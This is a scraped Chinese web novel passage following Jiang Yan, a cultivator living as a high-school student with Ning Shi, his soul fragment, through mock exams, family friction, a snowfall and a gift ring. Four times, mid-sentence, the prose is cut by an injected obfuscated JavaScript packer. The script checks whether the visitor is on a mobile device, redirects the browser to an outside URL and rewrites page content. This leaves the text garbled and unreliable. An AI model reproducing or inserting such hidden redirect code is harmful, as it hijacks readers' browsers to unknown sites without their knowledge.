宁时默默放下手中崭新的涂卡笔。 ……这个还是明天找同学借吧,实在不行他借根笔芯也行。 窗外传来零星几声鸟鸣,天色黑了又白。 宁时在闹铃响起的时候,还以为自己在江晏家里。 他伸手往旁边扒拉了两下,嘟囔道:“怎么感觉还没睡呢就要起了。” 没有人回应。 他也没有摸到另一个人的提问。 宁时打了一个激灵,渐渐清醒过来。 ……感觉心情一下子变差了呢。 他木着脸,洗漱,收拾东西下楼。 决定考完试就溜。 溜回江晏家。 在一楼餐厅,传来了若隐若现的说话声。 宁陟岳:“赶紧出门,别磨蹭了。” 然后是代玉兰的声音:“让司机送你去学校。” “行了行了,我知道了。” ——这是宁瑜的声音。 宁时慢吞吞下楼,但木质楼梯还是发出了吱呀声。 餐厅里的三人闻声,齐齐转头看向他。 宁时:…… 对面的三人坐在同一张圆桌上,宁陟岳的手还搭在宁瑜肩膀上。 餐桌上是吃的差不多的几样菜,和三套用过的,一套没用过的餐具。 宁时挑了下眉毛。 代玉兰出声:“时时,过来吃饭。” 又道:“我给你转点钱,你打车去学校吧。” 宁时走到餐桌边,站着用手拿起一块面包:“不用了。” 他捏着这块面包走出了宁家的大门。 然后打开地图,看了眼打车的价格。 又默默走向公交站了。 宁时坐在公交车上,啃着手里那块面包。 应该是用黄油做的,吃起来挺香。 在宁时吃完这块面包又听了一首歌之后,他的手机震了一下。 是江晏。 “你出发了吗?你吃早饭了吗?” 宁时:“吃了。在路上。” 江晏又发来一串语音,带着一点风声:“我也在路上呢,没吃饭,还想着把你的饭一起买了呢。” 宁时打字:“你得吃早饭。” 江晏说:“欸,我看见那个煎饼出摊了,我先去买个煎饼!” 宁时:“嗯嗯。” 然后手机那头暂时没了回信。 正如江晏说的,他大概在忙着买煎饼吃早饭。 在宁时离学校还有十站地的时候,江晏的消息又来了: “我到学校了,你在哪里?” 宁时:“……公交车上。” 果然与宁时预料中一样,江晏声音一下变高了:“你快迟到了好吗!” 宁时:“没事,迟到在规定的时间内都能进考场。” 江晏回给他一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江晏和宁时默契地都安静下来,快速通过了这一段路。 两分钟后,二人出现在学校附近的小巷里。 江晏看着这块地方,感觉有点眼熟:“怎么感觉来过这里啊。” 宁时的语气有点奇怪:“你没有印象了?” 江晏的一生去过了很多地方,也失去了很多记忆,他说:“啊,眼熟但是不记得了。” 宁时的声音再次响起,不知为何,江晏总感觉他好像在咬着牙:“你还给我水杯的时候。” 江晏恍然大悟:“噢噢!就是你差点被黄毛揍的地方!” 然后他就对上了宁时的眼睛。 宁时的额角跳着,看他的目光有点喷火。 江晏:…… 好吧,他总觉得宁时就是个少年版的自己。 却忘记少年也是要面子的了。 宁时的声音有点抖:“不是,你就记着这个了?” 江晏不想伤害他的自尊心。 于是江晏想了想,发现那天的情景还很清晰,历历在目。 他道:“啊,那天我还觉得你的脸挺好看的。” 不愧是我的分魂。 江晏看着心情明显变好的宁时,没有说这句话。 20. 初雪 江晏感觉,宁时看起来是被他的回答逗笑了。 他眼睛弯了弯,是一个居然可以用甜来形容的神态。 此时,江晏不得不再次感叹一句: 不愧是我!永远这么帅! 这次啾啾没有发出什么评价,大概是已经对他麻木了。 但宁时的笑却渐渐隐去了。 他说:“江晏啊,我刚刚看到代玉兰了。” 江晏:“我没看到欸,不过,那说明我们的装扮是成功的!” 宁时点了点头。 江晏觉得他还有话要说。 果然,宁时又道:“可是要天天这样躲着吗?” 江晏:“……其实吧,他们应该挺有钱的。” 宁时道:“这当然,但是我感觉自己融不进去他们的生活。” 江晏心想,果然还是稚嫩的小朋友啊。 他转头,认真看着宁时:“他们看不惯你,生气的是他们。” “不要把自己气到就好。” “你要是回去,以后继承家业,更得把你那个弟弟气着。” 宁时无语:“你心真大啊……不过也没错。” “但是对于我,放弃自己的美好生活,给他们添堵,还不够划算。” 江晏:“你悟得还挺快的嘛。” 宁时摊手:“我又催了不傻,走一步算一步喽。” 江晏点点头。 宁时看起来知道自己想要什么,也知道什么是自己可能得到的。 江晏就突然对这个世界自己猜测的宁时心愿产生了动摇。 宁时的心愿真的只会是高考顺利和家庭美满吗? 他把啾啾从意识海中提溜出来询问。 啾啾用翅膀拍着胸脯:“你放心了啊,我一个神器见到的这种情况多了!” “他宁时九成九是这个心愿。” 严谨的江晏:“那也不是绝对。” 啾啾欢快道:“小概率情况的话,我就和你一起长长见识呗。” 江晏一整个大无语,又把啾啾塞了回去。 他看了眼宁时,然后和宁时的目光对上了。 江晏疑惑:“我脸上有花吗?一直盯着我看。” 可能是从宁家出来了,宁时的心情很好,居然开起了玩笑: “是啊,看你像多花。” 江晏噎了一下,一时没接住这话。 啾啾在他脑海里长吁短叹:“你呀!反射弧是要有多长!” “你就惯着他吧!” 江晏奇道:“我惯惯我自己怎么了” “你看看这个世界这些人,除了我,谁能这么惯他爱他?” 啾啾刚要说话,就看见宁时拉住了江晏的手。 江晏只觉得手里一热,还以为是宁时有事,便“唔?”了一声。 宁时的声音如同平常:“有车。” 江晏“噢噢”了两声,往路边靠了靠。 宁时不动声色地挡在外侧。 啾啾:真是没眼看。 他们沿着熟悉的路走回家。 有星星点点的冷意浮在脸上。 是冬天的初雪来了。 他们回家的时间刚刚好。 江晏打开厨房的灯,透过玻璃,能看到外面刚刚还零星的雪花,现在已经片片飘起了。 宁时:“这个天气适合吃点热乎的。” 江晏抽了抽鼻子:“我想吃牛肉。” “家里没有,哈哈。” 宁时从柜子里找出来一袋方便面:“但是我们有红烧牛肉面。” 江晏:…… 好想翻白眼啊。 但剑修又没有抵抗得住垃圾食品的诱惑。 宁时看着他脸上的表情变幻,笑了:“那我可煮上了啊。” 江晏猛点头。 屋外天寒地冻,屋里玻璃上却已经蒙上了一层雾气。 江晏低头大口吃面,宁时坐在旁边,给代玉兰简单报了下平安。 然后不再理会手机那头的消息。 第二天还要考试,江晏和宁时决定早点休息。 他们并排躺着床上。 比往常更加明亮的一道月光,撒在他们身上,随着被子的起伏蜿蜒。 可能因为下雪了,整个世界很安静。 窗外零星能听到由远到近,再由近到远的自行车轱辘声,还有雪落在地上簌簌的声音。 而屋内的声音,就是他们彼此的呼吸声。 江晏:“晚安。” 宁时微微侧过头,看着规规矩矩平躺着的江晏:“嗯,晚安。” 江晏这晚却睡得不太安稳。 他做梦了。 自从他渡劫失败,来到这个世界以后,做梦的次数加起来比他活的那些年的次数都多。 可能是因为现实世界里下雪了,江晏的梦里也在下雪。 梦里,他又变成了一个小孩。 视线里所见的东西,都比往常要高大很多。 江晏在梦里踩着雪,深一脚浅一脚地走着。 积雪在脚下发出被压实的咯吱声。 江晏下意识地低头,然后就看到了自己露着大拇指的鞋和不到脚腕的裤子。 江晏:…… 怎么又是这种小可怜的剧情啊! 他刚刚感慨完,突然腹部一阵火烧般的剧痛席卷了大脑。 江晏眼前发黑,蹲着地上,不知多久才缓过神来。 理智回笼,他突然意识到,这不是传统意义上的痛觉。 而是饥饿感。 强烈的,他从来没有体验过的饥饿感。 不找点东西吃的话……真的会死的吧? 这种饥饿感太强烈了,江晏甚至分不清到底有没有在做梦了。 他扶着墙慢慢站起身。 噢,是红色的砖墙。 看起来是户有钱人家。 应该会有吃的吧。 他现在只是一个小孩,个子一点点的小孩。 想必食量也会是一点点。 应该会有人给他饭的吧。 江晏扶着这红色的围墙,蹒跚着向前走去。 不知过了多久,也许是半柱香,也许是一个时辰。 他模糊的视线在隐约看到了大门的轮廓。 门口似乎还有个人影。 江晏踉跄着,走快了些。 雪天里,人的脚步声格外清晰。 那个人影显然是听到了,回过头来看。 人影是一位少年,小公子的打扮。 穿着一件雪白的狐裘,捂着手炉,看起来贵气极了。 可是有一团白色的雾气挡住了他的脸。 江晏看不清他的模样,却又一种熟悉的心安。 明明他们只是第一次见面。 那公子开口了,声音也很好听,清清脆脆的,是在唤身后的小厮: “把食盒拿过来。” 那小厮很是听话,片刻后,手中稳稳端着一个红木盒子过来了。 小公子掀开看了看,最后把整个食盒递给了江晏:“你都拿着吧。” “你能吃几天呢,吃完了这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902331|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒子换钱。” 江晏看着小公子雪白的狐裘,和比狐裘还雪白的手,想了想,伸出自己的小黑手从侧面抱住食盒。 那公子又问:“你来我们家做工怎么样?我可以跟父亲说。” 此时,江晏突然控制不了梦境里的身体了。 江晏听见这个身体发出稚嫩的声音:“多谢公子好意,可我还有要做的事。” 公子歪着头,圆圆的眼睛中有点好奇:“是什么事这么重要呢?” 江晏梦境中的身体又开始说话了: “我家那边打仗了,只有我了,一路逃过来。” “我想成为很厉害的人,就不怕了。” “听过修仙最厉害了,我要找位仙长,跟着他修炼。” “成为厉害的人,就什么也不怕了。” 江晏的意识被困在这个身体里,旁观着,感觉要明白什么东西了。 他继续看着。 那小公子呆呆的,还和这个小叫花子告了别。 最后是被年长一些的贴身侍从拉了回去。 江晏看着朱红的大门禁闭,发出一声沉闷的碰撞声。 肚子真的很饿。 江晏低头,抓起一块糕点。 在他摸到那块糕点的一瞬间,梦境破碎了。 他没有穿着破了的鞋踩在大雪中。 也没有躺在合江宗的竹林里。 他被柔软的毛毯包裹着,身边是缓慢的呼吸声。 噢,原来他和宁时住在一起呢。江晏想。 他试图回想刚才的梦。 现在却好像隔了层纱,怎么也回忆不清晰了。 ……算了,还是睡觉吧。 江晏再次昏沉入睡。 这次,他睡得很安稳,没有梦见什么奇奇怪怪的东西。 但可能由于晚上醒了一次没有休息好的缘故,第二天一早,江晏根本没有听见自己的闹铃声。 还是宁时把他推醒的。 江晏一睁眼,就是宁时尖尖的下巴。 他问宁时:“几点了?” 宁时见他醒了,一边把热水倒进水瓶里,一边说:“七点整了,快点。我看你没醒,让你多睡了一会儿。” 江晏:“……行吧。” 他一骨碌爬起来,疯狂洗漱。 等江晏在门口穿鞋时,宁时已经准备好了两人的东西,拎着书包等他了。 他们一前一后地下楼。 单元楼门口是一层能没过鞋面的积雪,中间有深深浅浅的足迹。 还有一些地方,由于踩的人太多,雪已经被压实成了冰,泛着黑色的光泽。 江晏完全没有意识到这些积雪在北方城市的一个工作日意味着什么,还兴致勃勃道: “我很少见过这么大的雪呢。” 宁时有点惊讶:“你是南方人?” 江晏:“啊……从前在南边生活过一段时间。” 合江宗怎么不算南方,江晏自认为没有撒谎。 宁时点头:“嗯,原来如此。” 又扭头看着江晏。 江晏:? 宁时慢吞吞道:“你怎么一点也不像见了下雪的南方人。” 江晏突然意识到宁时的意思了。 宁时在调侃他,还带了一丝期待他玩雪的意思。 江晏脑海中想象了一下自己搓雪球打雪仗的画面,打了个抖——太幼稚了。 他活了这么久,还不至于因为一场雪而激动得失态。 于是江晏高冷地看了宁时一眼,高深莫测地走了。 21. 成绩 江晏没有走出多远,感觉脚下一滑。 他看着眼前的景物迅速上升,意识到自己要摔倒了。 他还不太适应这个世界的身体,只来得及哀叹一句:希望能摔得轻一点。 下一刻,眼前旋转的景物停止了。 有一双手把他架了起来。 宁时的声音从江晏头顶传来:“可别再摔了。” 江晏:…… 宁时从后面拉住了他。 没有摔倒固然是好的,可是现在这个姿势……多少有点尴尬了。 他像一只被宁时拎起的小鸡仔。 江晏匆忙试图借力起身。 由于发力不对,手忙脚乱中他再次踩到了刚才那片光滑的地方。 眼前的景物再次开始旋转! 他这次没有任何意外地摔在了地上。 一阵越来越强的钝痛从身下蔓延。 江晏的意识中,啾啾发出疯狂的嘲笑:哈哈哈哈哈—— 江晏在这片笑声中突然觉得身上一沉,眼前一黑。 与此同时啾啾的笑声也像是被什么东西掐断了。 江晏用力闭了闭眼,再次睁开,终于看清了眼前的情况。 宁时也被他带着一起向前摔倒了。 正好上半身和他贴在一起,两个人稍微一侧头就能面对面。 下一秒,宁时就转过头来。 江晏:! 两人大眼瞪小眼了片刻。 宁时用手撑着地爬起来,小心地去拉江晏。 江晏自觉刚刚太丢面子了,搭着宁时的手起来,眼神虚着,一言不发。 宁时似乎看出了他的尴尬,问:“你刚才摔的时候,用手撑地了吗?” “别上到骨头。” 江晏闻言,甩了甩手腕:“有点疼,应该过会儿就好了。” 宁时点点头。 他拍了拍江晏身后的雪,又弯下腰拂去自己裤腿上的雪花:“……不行打个车吧。” 江晏:“多花钱。” 宁时摊手:“你再来这么一次,医药费可比打车钱贵多了。” 江晏想了想,感觉确实有道理。 他们慢慢蹭到了路口,打了辆车,去学校了。 很快,十校联考的最后一天也结束了。 校门口乌泱泱起挤出一片学生。 各回各家,各找各妈。 马路上,虽然经过了一白天的清雪,但还是残留了一些,比往常要滑。 江晏在校门口张望了一会儿,拉着宁时往外走:“你看,一下雪,他们就不来了。” 宁时考了一天试,脑子里还有点懵:“他们?” 江晏:“……你的亲生父母。” 宁时“欸”了一声:“我就知道。” 所以那新房间,那些新衣服,也是短暂的一次安抚。 江晏看宁时这样,反而有点难过了。 一开始,他希望宁时的亲生父母最好忘记宁时,离宁时远点。 此时,他又希望这对夫妻多宁时上点心。 宁时的手机有嗡嗡响了,是代玉兰和宁陟岳催他回家。 江晏一把勾住宁时的脖子:“你回那边?” 宁时指着湿漉漉的路面:“他们也不想想我怎么回去。” “我跟你走。” 江晏拖着声音“哦”了一声:“没得选才选我啊?” 宁时:“……别闹。” 江晏笑嘻嘻地松开手,一边道:“开玩笑的,我家就是你家。” 他们度过了一个平静的周末。 在下一个周五,联考的成绩出来了。 江晏看了眼自己的成绩条,又戳了下宁时,问道:“怎么样?” 宁时没有回答他。 江晏扭过头,看见宁时的脸色不太好。 江晏好像意识到了什么,小声说:“没事,一场模拟而已。” 宁时听了他的话,却将纸条递了过来:“我对过答案了,这分数怎么好像我没有写一样。” 一边用指尖指给江晏看。 江晏本来以为他说的夸张了,结果一低头,就看到了总分那栏是一开头的数字。 江晏也觉得离谱:“你的卷子没收上去?” 宁时捏了下成绩条的边缘:“不可能啊,我确实都交了,也答完了。” 江晏点头:“嗯,那这一百多也太离谱了。” 此时已接近中午,两人打算下午去找周莉问问。 吃午饭时,宁时感觉兜里的手机又开始振动了。 还是振个不停吃,应该是有人在给他打电话。 食堂人多,还有好几个在吃饭的老师,宁时实在不方便把手机掏出来看看情况。 振动声停了。 宁时送了口气,夹起一筷子土豆丝。 过了没两分钟,他的手机竟是又响了。 不知道是谁在不依不挠地给他打电话。 宁时皱了皱眉,渐渐感觉事情有点不像只是一个骚扰电话了。 他和江晏吃完饭回教室的路上,手机又响了一次——这是第三次了。 宁时最终决定去厕所看看是怎么回事。 他在厕所隔间打开手机,在电话和微信图标上看到了一堆红标。 宁时先打开了电话记录,发现是宁陟岳和代玉兰。 一共五个未接电话,都是他们的。 宁时又打开微信。 代玉兰发了几条文字,诸如“你学习不好可以,但不要作弊”,“这次我们对你很失望”等等。 宁时看得一头雾水,他打开了宁陟岳发的。 宁陟岳发了一张图片,和一条文字:“你解释一下之前的成绩是怎么回事。” 宁时点开那张图,发现是这次联考的成绩。 ……学校已经通过家校通发给他的父母了。 宁时有点暴躁了。 他按记忆对过答案,肯定不会是这个分数。 他抱起手机,打字:“我又没作弊。” “这次肯定是读卡的问题。” “我怎么可能考这个分,把答题卡放地上踩上一脚都比这个高。” 宁时输出完了,看着自己发的绿油油一片,突然感觉有点没意思。 显得他在拼命解释一样。 他慢慢蹲下,感觉今天的心情要被彻底毁掉了。 中午的教学楼很安静。 宁时在这小小的隔间发了一会儿呆,准备离开。 他抬手打开门把手的时候,手机响了一下。 宁时本来以为是宁陟岳或者代玉兰。 结果却是江晏。 江晏顶着那一直是灰蒙蒙的初始状态的头像:“怎么这么久不回来?没带纸?” 宁时:“……正在回来的路上呢。” 江晏收到这条消息,对啾啾说:“你看,他估计刚刚躲在学校里面哪个角落一个人emo呢。” 啾啾反问:“你不趁机关心一下他?” 江晏:“得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁时的目光很有层次感,这次带了几分谴责。 江峰主在如此清澈的目光下有点不好意思了。 他干咳了一声,道:“下午我陪你去找周老师嘛。” 宁时继续盯着他。 江晏想了想,又道:“晚上请你吃里脊扒饼。” 宁时眉毛挑了挑:“可是你刚才说的吓到我了欸。” 江晏痛苦道:“晚上我做宵夜——真的不能再加条件了——” 这次轮到宁时乐了。 “开玩笑的,哪里有让房东给我做饭的道理。” 两人嬉笑了一阵,都觉得有些困了。 本来就是正在长身体的年龄,加上平时的劳累,闹着闹着声音就渐渐小了,趴在桌子上睡了一会儿。 终于到了下午,周莉又来上班了。 江晏和宁时挑了个课间,拿着那一笔袋的证据去找周莉。 周莉却对那只消除笔毫不意外:“我当时就觉得你这个成绩不正常。” “我看了你的试卷,空白的但有写字的压痕。” “可是现在也不好改分了。” “我还打算今天给你说说这件事呢。” 22. 高塔与戒指 江晏听着,忍不住道:“老师,宁时的父母已经知道成绩了。” 周莉愣了一下,显然忘记了系统会通知家长这件事。 她“啊”了声,看着宁时:“我待会和你爸爸妈妈说一下情况。” 宁时点了点头。 周莉似乎还有话要说。 她酝酿了一会儿,最终说:“你啊,考试要用自己平时用过的文具。” “或者去靠谱的超市买那些大牌子的。” “这次记住了吗?” 宁时小声道:“嗯,这次不会再忘记了。” 周莉看着他们俩,最后挨个拍了拍二人的肩,转身走了——她下一节还有别的班的课。 如此一周过去。 高三的生活总是很忙碌的,卷子一张接着一张。 时间一直向前流淌,宁时几乎忘记了了联考成绩的事。 他和江晏平静地生活了几日,又熬到了周末放假。 这次周末是冬至。 江晏从前在宗门生活了太久,已经不熟悉这些人间的节日了。 还是上午的时候,宁时问:“中午去楼下吃羊肉饺子?” 江晏点点头。 然后他们在中午的饺子馆和满满一屋子人相遇。 江晏:“……为什么今天这么多人。” 宁时:“冬至啊,冬至吃饺子。” 江晏“哦”了一声。 宁时看着他有点懵懂的样子,忍不住道:“你个假北方人。你祖籍真的是在北方?” 按道理来讲,在原世界,江晏自从有记忆以来,就生活在南方。 所以对于这个问题,江晏觉得自己会说出“不是”或者“不知道”。 但他听见自己的声音说“是啊”。 一瞬间,他好像有看到了那个梦境中踩着雪的小男孩。 江晏恍惚了一下。 他将此归结于睡眠不足和屋子里人多缺氧的原因。 身边,宁时接着他的话说:“那可真不像。” 江晏摊手。 宁时又问:“下午没事吧。” 江晏看着宁时,总感觉他在计划着什么:“没事,怎么了?” 宁时语气中稍有迟疑:“想出去溜达一下,你想一起吗?” 江晏毫不犹豫:“行,哪里啊,游戏厅还是商场?” 宁时“嘶”了一声:“都不是,呃,是我以前总喜欢待的地方,一座塔。” 江晏疑心自己听错了:“一座塔?” 宁时点点头:“好像是水塔吧,不是很高。” 江晏被勾起了兴趣:“我要去看。” 宁时:“嗯。” 他们在小饭馆吃了热气腾腾的饺子,皮薄馅大,羊肉鲜嫩,萝卜爽口。 他们被香甜的气息诱惑,走进面包店,出门时宁时手里拎了一个袋子。 他们坐上了一路人不怎么多的公交车,阳光掺着空调的温暖,让人昏昏欲睡。 江晏确实在车上睡了一会儿。 不知过了多久,他被宁时摇醒了:“块到了哈。” 江晏揉了把眼:“我们坐了多久的车?” 宁时看着他眼角因为摩擦而产生的血色:“一个小时二十分钟。” 江晏:“好久啊。” 他看了下手机,现在是下午四点了。 江晏漫无目的地看向窗外,一边打量着这个世界,一边等待昏沉的睡意消散。 过了三站地,他清醒的差不多了。 正好也到了宁时要带他来的地方。 这片区域,说偏僻,也不算人迹罕至;说有烟火气,但也能看见几块散田。 江晏问宁时:“你就爱在这里待着?” 宁时摇摇头,抬起手,指向不远处的一座塔:“我只是喜欢那里。” 江晏顺着他的手指看去,突然发现他这个姿势显得手很好看。 江晏:……不对,思维它怎么不受我控制。 他抓了把头发,估计了一下塔的距离,问:“能进去吗?” 宁时看着远方:“应该可以吧。” 这片空地上长满了野草,高低不一,在这个冬天都已经变成了黄色。 前一阵下的雪还没有化完,在白天的日光照射下融成了一层微微闪亮的冰壳,笼罩在地面和杂草上。 江晏有时候能踩到这些残雪,脚下发出咯吱咯吱的声音。 宁时听见了,看了他一眼:“别踩那里,再摔了就麻烦了。” 江晏:“我又不是三岁小孩了,怎么可能总摔跤。” 他们在这片旷野上慢慢走着,江晏看到面前的高塔渐渐近了。 是一座土黄色的塔。 其实严格上讲,也不能算很高,不过十层楼左右的高度。 但如果站上去,足够把这附近的风景收尽眼底了。 宁时指了指塔下面的一道侧门:“从这里进。” “你好熟悉这里欸。”江晏跟着宁时穿过那侧门,进入里面。 塔里面没有像江晏想象中的昏暗与潮湿,相反,天光从窗户上散落,足够他看清宁时的脸。 宁时的声音传来,他在回答江晏的话:“嗯,我原来没事的时候会上去坐一坐。” 江晏“哦”了一声。 他在心里对啾啾说:“真不愧是我。” 啾啾:“嗯?” 江晏却没有再和它说话了,他对宁时说:“从前我也在南方小住过一段时间。” 宁时在他身前爬楼梯,闻言回过头:“看出来了,尤其是下雪那次。” 江晏:“……我是想说那时候我住处附近有一座山。” “山顶上很安静,我有时也会去。” 啾啾一直听着:“你说的是合江宗吧,你说这个他又不知道,他现在没有这个记忆。” 我只是突然单纯地想说一下,江晏想。 前面,宁时带着他爬上了二楼:“嗯,在高处待一会儿,能静心。” 江晏就笑了:“你还这么小,说什么静心。” 宁时这句话,颇有些像江晏从前的弟子们汇报课业的时候说的话。 可宁时现在分明是一个十七八岁的普通少年。 江晏听了,只觉得好玩。 他便又想到了,自己刚刚进入宗门时也差不多是宁时这个样子。 有点独,还说着一些老成的话,努力让自己看起来像个大人。 宁时对江晏那句“还这么小”表达了不满。 “我马上是个成年人了,不小了。” 江晏:“行吧。” 宁时好像看出了他的敷衍,又强调道:“我之后就能自己独立生活了。” 江晏慈祥地点头:“嗯嗯。” 宁时无语:“……说起来你比我还小几个月吧?怎么这么……” 他的话被江晏截了:“像你哥哥?” 宁时:“太离谱了,别闹。” 江晏耸耸肩,继续跟着宁时爬楼梯。 失去了灵力,江晏用这个凡人的身体爬了几层就累了。 他拽拽宁时:“歇一下。” 宁时停下,往四周看了看,最后从袋子里掏出来几张面包店给的纸巾打开,铺到地上:“坐这里。” 江晏毫不客气地一屁股坐下。 他们现在这个位置已经到塔的中部了,能看到外面连绵的草地。 休息了一会儿,宁时把纸收起来,两人最后到了塔顶。 那是一道小门,铁质的,虚虚掩着。 宁时没有去推那道门,只是看着江晏:“开开门我们就能去露台上了。” 明明是一个没什么特别景色的地方,和江晏所见过的山川河流相差甚远,但江晏此时升起了种莫名的激动。 他把手贴在门上,在寒冷的触感中用力。 一阵门轴摩擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902333|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的震动声后,门打开了,江晏看到了宁时说的露台。 平平无奇,但空间很大。 一个人发呆也好,和朋友们聚会也好,都是个合适的地方。 江晏走了上去。 宁时在他后道:“你要是觉得这里也不错,我们就多待会儿。” 江晏站着露台边上,发现这里不仅可以看到刚才走过的荒地,还能看到城市的边缘了。 再往前,是天空和粉紫色的流云,上面挂着一轮红日。 江晏看着那夕阳,道:“是不错,我很久没有看落日了。” 宁时闻言,低下头摆弄了一会儿,又在地上铺了层纸:“那坐下吧。” 于是他们在橙色的余晖中肩并肩坐下了,吃着出发时买的面包。 是奶酥牛角包,一袋子里有不少。 江晏一边吃着,一边听宁时说话: “其实我经常来这里。” “这里离我养父母家不远,我原来上学路过,好奇钻进去看了看,就发现了这么个地方。” “这里基本不会有人来,我在这里写作业,不用回家里听着他们吵架写了。” “也很凉快,在这里看漫画看小说都好。” “后来宁陟岳他们找过来了,我也不知道两边到底谈了什么,反正我只知道自己要从王家离开了。” “可宁家也不喜欢我。” “那时候,说真的挺烦的。” “我在这里待着,有时会想下楼一趟,不走楼梯。” 江晏听及此处,他没有看宁时,只是看着远处的夕阳:“可是你现在还能和我一起坐在这里啃面包。” 宁时也看着前面:“嗯,我也没有想到。” 江晏又咽下一口面包:“没有想到的东西还多着呢。” “一个人他选择来到这个世界上,是看到过这个世界上有让他非来不可的东西。” “等一等,后面都会有的。” 宁时“嗯”了一声。 一边,啾啾问江晏:“那你在这个世界上的理由呢。” 江晏毫不犹豫:“我不知道呢啊。” 啾啾:“……我看你给那小子讲得头头是道,还以为你大彻大悟了呢。” 江晏嚼着面包,用意识和啾啾交流:“我想了想,这就是修行心境的问题,肯定和我失忆有关。” “但失忆又和分魂有关,”江晏看了眼宁时的侧脸:“等把分魂的碎片都回收稳固下来,也许我就有答案了。” 啾啾:“其实这个过程挺长的。你看,你来这个世界几个月了还没完……等一下,他在干什么?” 江晏闻言,看向宁时。 宁时在低着头,拉着江晏的右手专注地摆弄。 右手上传来说不出的触感,江晏顺着他的视线低下头,看见宁时拿着一个金色的小圆圈在自己手上比划着。 对现代生活缺乏常识的江晏:“这个刚才那个面包袋的密封条吗,你把它扭起来干啥?” 宁时:“……随便扭个戒指玩玩。” 江晏顺手接过,打量了一下:“哦,还做了个造型。” 这个“戒指”甚至还被宁时扭出了正面的花纹。 江晏也不知道各个戴法的含义,看了看这个小圈的大小,感觉有点局促了。 便戴在了右手小拇指上。 宁时看着江晏,好像想说什么,最后什么也没有说。 夕阳下,江晏感觉他的耳朵好像有有点红了。 于是江晏自认为很贴心地说:“你的耳朵有点红了,是冻的吗?” 然后江晏发现他说完这句话后,宁时的耳朵好像更红了。 宁时目光直直看着远方:“是的。” 江晏便站起身来,向坐着的宁时伸出右手:“那我们准备回去?” 宁时看着他,慢慢搭上他的手。 金色的戒指在他们手间反射着夕阳的余晖。 23. 养父母 那枚戒指太轻了,江晏戴上之后就忘记了还有这一回事。 他和宁时并排坐在回家的车上,路途不近,宁时在半路打起瞌睡,闭着眼,头一点一点的。 江晏本来想把宁时的脑袋托到自己肩上,但突然想起宁时住在宁陟岳家里的那个晚上发的消息,整个人僵了一下。 江晏经历了一番思想斗争后,决定让宁时自己去用睡意抵抗地心引力,避免误会。 但宁时睡着了以后,没人聊天,江晏开始感到无聊了。 他试图呼唤啾啾,并突然意识到自从啾啾看到宁时在高塔上的动作后,一直沉默到现在。 感到莫名其妙的江晏:“欸,你怎么今天这么安静?” “怕打扰了你们的美好时光。”这是啾啾幽幽的声音。 江晏奇道:“你怎么突然这么阴阳怪气的。” 啾啾的虚影在他眼前蹦出来:“那些小世界里,和任务对象在一起的常见,可和自己在一起的,你真是让我开了眼。” 江晏:“……不是,你的眼神有问题吧,我和宁时这多正常的兄弟。” 啾啾发出尖锐的爆鸣:“可他都给你戒指了,戒指!” 江晏:“哈?” 啾啾:“你不会上网查一下吗!” 江晏便拿出手机,输入“被送了戒指是什么意思”。 他看着看着,神情渐渐凝重。 啾啾发出一声嗤笑。 又看到了一个相关词条“不同的戒指戴法含义”,点了进去。 啾啾也看见了,道:“也算是巧合吧,你戴右手小指,是单身,只爱自己的意思。” 江晏闻言,收起了手机:“也算是对了。” 又看了眼睡着的宁时:“我在这个世界这么折腾,还不是为了能早点回去?” 啾啾:“……不,我的意思是你的戴法正好让他死心了,他以为你根本不想谈恋爱。” 江晏耸耸肩,一脸无所谓。 啾啾:“你就别装了,我能检测到你心里慌乱得要死。” 江晏保持沉默。 啾啾无奈:“也正常,这个世界的分魂吧,过得挺惨的。” “就你给他送温暖,他不喜欢你还能喜欢谁啊。” 江晏声音发虚:“可我也不算给他送温暖,毕竟我需要他过得好,这样我才能正常回到原世界。” 啾啾用鸟爪踢了下江晏的手腕:“反正他本来就是你的分魂,你就当对自己好点了。” 江晏有点说不出的烦躁。 他扭过头,看到窗外的人间烟火在倒退。 华灯初上,江晏借着灯光,能看到玻璃上自己和宁时的影子。 有时候公交车行驶至两个路灯中间,他们的影子就会短暂地交叠一瞬。 江晏看着看着,就叹了口气。 啾啾:“现在知道烦了?我提醒过你的哈。” 江晏吸了口气,像是下了什么决心:“实在不行,我就惯惯他吧。” “小孩挺可怜的。” 啾啾一针见血:“可这不是他要的那种爱。” 江晏道:“我知道,但这起码是爱。” “我刚进合江宗时身边也没人,想必之前过得也不太行。” “我就在这个世界惯一下他,也没什么事的吧。” 啾啾看着宁时,最后说:“行吧。” 